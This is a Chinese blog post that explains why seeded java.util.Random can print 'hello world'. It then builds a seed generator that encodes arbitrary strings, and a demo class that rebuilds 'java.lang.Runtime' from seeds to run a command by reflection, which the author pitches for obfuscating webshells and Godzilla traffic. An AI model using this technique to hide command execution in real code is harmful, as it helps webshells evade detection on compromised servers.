0x01 问题
这个月在逛着https://stackoverflow.com突然发现个有点意思的一段代码,或者说是有点意思的猴戏
怎么说呢,就是看完以后,不知道为啥子,我就在懵逼中跪下了…
为了解决疑问,快速爬起来,我就决定解决这个疑问
先给你们看看这个问题是啥,你们就知道我为何懵逼了
https://stackoverflow.com/questions/15182496/why-does-this-code-using-random-strings-print-hello-world
翻译过来就是一句话:下面的代码将打印“hello world”,有人能解释一下吗?
大概是这个意思,我也是有道云翻译的….
给出的代码也超级简单,可以拿idea跑一下看看结果
// 让人懵逼的代码package Test2;import java.util.Random;public class Test1 {public static void main(String[] args) {System.out.println(randomString(-229985452) + " " + randomString(-147909649));}public static String randomString(int i) {Random ran = new Random(i);StringBuilder sb = new StringBuilder();while (true) {int k = ran.nextInt(27);if (k == 0) {break;}sb.append((char) ('`' + k));}return sb.toString();}}// 运行结果hello world

就问你…
这个代码给你,你第一眼看到输出个“hello world”懵逼不懵逼?
0x02 解答
0x02.1 初步解答
懵逼完了以后,就可以开始想想为什么了
先看了一眼源码,有点拗口,让我有点懒的思考,于是决定去看看文章的评论
我这么懒的逼,当然是选择看评论拉,看到一个高赞回答,看看写了啥先
有道翻译是这么说的:
当使用特定的种子值(seed)(在本例中是-229985452与-147909649)构建java.util.Random的实例时
那么java.util.Random将从指定的种子值(seed)开始生成随机数
用相同的种子值(seed)构建的每一个java.util.Random对象,每次都会产生相同的数字
是不是感觉还是有点懵逼,简单的说就是当这个种子值(seed)是固定的时,那么生成出来的结果也是固定的
这里我们做个小实验,写一段代码,运行一下,你就会恍然大悟说的是啥了
// 随机数固定结果测试package Test2;import java.util.Random;public class Test2 {public static void main(String[] args) {randomString(-229985452);System.out.println("--------------");randomString(-229985452);}private static void randomString(int i) {Random ran = new Random(i);System.out.println(ran.nextInt());System.out.println(ran.nextInt());System.out.println(ran.nextInt());System.out.println(ran.nextInt());System.out.println(ran.nextInt());}}// 运行结果-755142161-1073255141-3693833261592674620-1524828502---------------755142161-1073255141-3693833261592674620-1524828502

可以发现,我这边在种子值(seed)一致的情况下,运行二次的结果返回都是一致的
当然读者也可以试试运行,你的结果一定也是会和我一致的
也就是说在使用java.util.Random时,如果指定的种子值(seed)是相同的
那么他们生成并返回的其实是看起来是随机的固定数字
而且我们都知道java.util.Random本身就是一个伪随机算法
而当使用特定的种子值(seed)构建java.util.Random的实例时,那就成了一个更加伪的伪随机算法了
这么说是因为如果能猜测出,种子值(seed)或是种子值(seed)泄漏了,那么理论上就可以推测出随机数生成的结果
0x02.2 回看问题
好了前面逼逼那么多,现在也应该知道java.util.Random中指定种子值(seed)的关键了
现在让读者们,随我在回去看看问题,应该就可以看出来是为啥了
主要看循环里面的代码即可
先了解个基础的小知识,带参的nextInt(int x)会生成一个范围在0~x(不包含x)内的任意正整数
现在看int k = ran.nextInt(27);这句话,这表示k这个变量返回的值一定是[0,26]内的一个正整数if (k == 0)的意思就是说,如果k这个变量,返回0就退出循环,这个没啥子好说的
在进行下一步之前,打印看看int k = ran.nextInt(27);具体会返回什么
// int k = ran.nextInt(27);两个种子值(seed)的返回结果----------------种子值(seed): -229985452返回值:8返回值:5返回值:12返回值:12返回值:15返回值:0----------------种子值(seed): -147909649返回值:23返回值:15返回值:18返回值:12返回值:4返回值:0----------------
有个印象即可,无需特别在意
在看个基础的小知识,Java中的单引号表示字符一般是char类型
现在看(char) ('‘ + k)其中‘'是个char类型,看到char``+``int条件反射的想到ASCII码
而且'‘的ASCII码是96<br />并且k返回的是[0,26]内的一个正整数<br />因此(char) (‘' + k)这个代码的范围就是[96+1,96+26]
去除返回值为0的,最终只需要对照着ASCII码表,就能看出是对其的那些字母了
96 + 8 = 104 -> h96 + 5 =101 -> e96 + 12 = 108 -> l96 + 12 = 108 -> l96 + 15 = 111 -> o96 + 23 = 119 -> w96 + 15 = 111 -> o96 + 18 = 114 -> r96 + 12 = 108 -> l96 + 4 = 100 -> d
到这里,对于为什么这一段谜一样的代码能输出“hello world”,我们已经了然于胸了
看穿了以后,也就是个小把戏罢了
0x03 思考
然后我就开始想这个东西如果拿来写马子,用于关键字混淆什么的,那不是会很棒?
于是就开始思考如何改造最前面的demo,让它啥子单词都能打出来,因为现在这个代码只能输出“hello world”
所以当务之急是找或写一个可以把字符串变成种子值(seed)的函数
当然我这么懒,所以我选择了找,然后还真被我找到了
拷贝一下,本地试试
很好,但是还差点,因为它只能跑a-z,这可不太行啊
因为我们写马的时候,各种特殊符号之类的,可是都要有的,所以还是需要一个小小的改动
// 最终改动完成的代码// 注意: 种子生成的时间,会因为代码的长度与复杂度的增加而增加import java.util.*;import java.util.stream.Collectors;public class Test3 {public static void main(String[] args) {long start = System.currentTimeMillis();long[] seedList = generateSeedList("java.lang.Runtime");for (long seed : seedList) {System.out.println("种子值(seed): " + seed);System.out.println("对应字符串: " + seedConversionString(seed));System.out.println("------");}System.out.println("种子生成花费时间: " + (double) (System.currentTimeMillis() - start) / 1000 + "秒");String data = seedListConversionString(seedList);System.out.println("种子列表转换结果: " + data);}/*** 测试使用* 输出所有字符的种子与解析结果*/public static void test() {String str = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";String[] strs = str.split("");for (String s : strs) {System.out.println("----");long dataSeed = generateSeed(s);System.out.println("种子值(seed): " + dataSeed);System.out.println("对应字符串: " + seedConversionString(dataSeed));System.out.println("-----");}}/*** 功能: 输入字符串获取种子数组** @param goal 要转为种子的字符串* @return*/public static long[] generateSeedList(String goal) {List<String> dataSourceList = Arrays.asList(goal.split(""));int groupSize = (int) Math.ceil((double) goal.length() / 3);List<Long> seedList = new ArrayList<>();for (List<String> stringList : listChunkSplit(dataSourceList, groupSize)) {long seed = generateSeed(stringList.stream().collect(Collectors.joining("")));seedList.add(seed);}return seedList.stream().mapToLong(t -> t).toArray();}/*** 功能: 输入字符串获取种子* 注: 单词越长,需要查找的时间就越长,个人建议1-3个字符为一个种子,可以基本可以无感知的快速生成种子** @param goal 要转为种子的字符串* @return*/public static long generateSeed(String goal) {String str = " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~";for (String s : goal.split("")) {if (!str.contains(s)) {throw new RuntimeException(String.format("%s 该字符,不是符合条件的字符,请修改", s));}}char[] input = goal.toCharArray();char[] pool = new char[input.length];label:for (long seed = Integer.MIN_VALUE; seed < Integer.MAX_VALUE; seed++) {Random random = new Random(seed);for (int i = 0; i < input.length; i++) {pool[i] = (char) (31 + random.nextInt(96));}if (random.nextInt(96) == 0) {for (int i = 0; i < input.length; i++) {if (input[i] != pool[i]) {continue label;}}return seed;}}throw new NoSuchElementException("对不起该字符串找不到对应的种子");}/*** 功能: 将种子数组转换字符串** @param is 种子数组* @return*/public static String seedListConversionString(long[] is) {StringBuilder dataSource = new StringBuilder();for (long seed : is) {dataSource.append(seedConversionString(seed));}return dataSource.toString();}/*** 功能: 将种子转换字符串** @param i 种子* @return*/public static String seedConversionString(long i) {Random ran = new Random(i);StringBuilder sb = new StringBuilder();while (true) {int k = ran.nextInt(96);if (k == 0) {break;}sb.append((char) (31 + k));}return sb.toString();}/*** 列表块分割函数* 功能: 把列表按照size分割成指定的list快返回* 例子1:* a = [1, 2, 3, 4, 5, 6, 7, 8, 9]* listChunkSplit(a, 2)* 返回: [[1, 2, 3, 4, 5], [6, 7, 8, 9]]* 例子2:* a = [1, 2, 3, 4, 5, 6, 7, 8, 9]* listChunkSplit(a, 10)* 返回: [[1], [2], [3], [4], [5], [6], [7], [8], [9]]** @param dataSource 数据源* @param groupSize 一个整数, 规定最多分成几个list* @return List<List < String>>*/public static List<List<String>> listChunkSplit(List<String> dataSource, Integer groupSize) {List<List<String>> result = new ArrayList<>();if (dataSource.size() == 0 || groupSize == 0) {return result;}// 偏移量int offset = 0;// 计算 商int number = dataSource.size() / groupSize;// 计算 余数int remainder = dataSource.size() % groupSize;for (int i = 0; i < groupSize; i++) {List<String> value = null;if (remainder > 0) {value = dataSource.subList(i * number + offset, (i + 1) * number + offset + 1);remainder--;offset++;} else {value = dataSource.subList(i * number + offset, (i + 1) * number + offset);}if (value.size() == 0) {break;}result.add(value);}return result;}}// 运行结果种子值(seed): -2080435608对应字符串: jav------种子值(seed): -2060785532对应字符串: a.l------种子值(seed): -2147149194对应字符串: ang------种子值(seed): -2107467938对应字符串: .Ru------种子值(seed): -1949527326对应字符串: nti------种子值(seed): -2146859157对应字符串: me------种子生成花费时间: 21.273秒种子列表转换结果: java.lang.Runtime
有了上面的代码以后,我们就可以写一个最最简单的混淆马子了
// 这是我能想到的最最最简单的用涂了// 或是拿来对哥斯拉的流量加密感觉也是可以的// 其它的自己发挥想象吧import org.apache.commons.io.IOUtils;import java.io.InputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.Random;public class ExecCmdTest {public static void main(String[] args) {try {String cmd = "whoami";// java.lang.Runtime 的 种子// -2080435608 -> jav// -2060785532 -> a.l// -2147149194 -> ang// -2107467938 -> Ru// -1949527326 -> nti// -2146859157 -> melong[] seedList = {-2080435608, -2060785532, -2147149194, -2107467938, -1949527326, -2146859157};String runtimePath = seedListConversionString(seedList);// 获取Runtime类对象Class runtimeClass = Class.forName(runtimePath);// 获取构造方法Constructor runtimeConstructor = runtimeClass.getDeclaredConstructor();runtimeConstructor.setAccessible(true);// 创建Runtime类实例 相当于 Runtime r = new Runtime();Object runtimeInstance = runtimeConstructor.newInstance();// 获取Runtime的exec(String cmd)方法Method runtimeMethod = runtimeClass.getMethod("exec", String.class);// 调用exec方法 等于 r.exec(cmd); cmd参数输入要执行的命令Process p = (Process) runtimeMethod.invoke(runtimeInstance, cmd);// 获取命令执行结果InputStream results = p.getInputStream();// 输出命令执行结果System.out.println(IOUtils.toString(results, "UTF-8"));} catch (Exception e) {e.printStackTrace();}}/*** 功能: 将种子数组转换字符串** @param is 种子数组* @return*/public static String seedListConversionString(long[] is) {StringBuilder dataSource = new StringBuilder();for (long seed : is) {dataSource.append(seedConversionString(seed));}return dataSource.toString();}/*** 功能: 将种子转换字符串** @param i 种子* @return*/public static String seedConversionString(long i) {Random ran = new Random(i);StringBuilder sb = new StringBuilder();while (true) {int k = ran.nextInt(96);if (k == 0) {break;}sb.append((char) (31 + k));}return sb.toString();}}
0x04 杂项
有关ASCII码表的内容可以看这一篇文章
https://www.yuque.com/pmiaowu/ppx2er/kfvuhv
里面详细记录了ASCII码对应字符
0x05 总结
偶尔能看看猴戏还是挺有意思的说
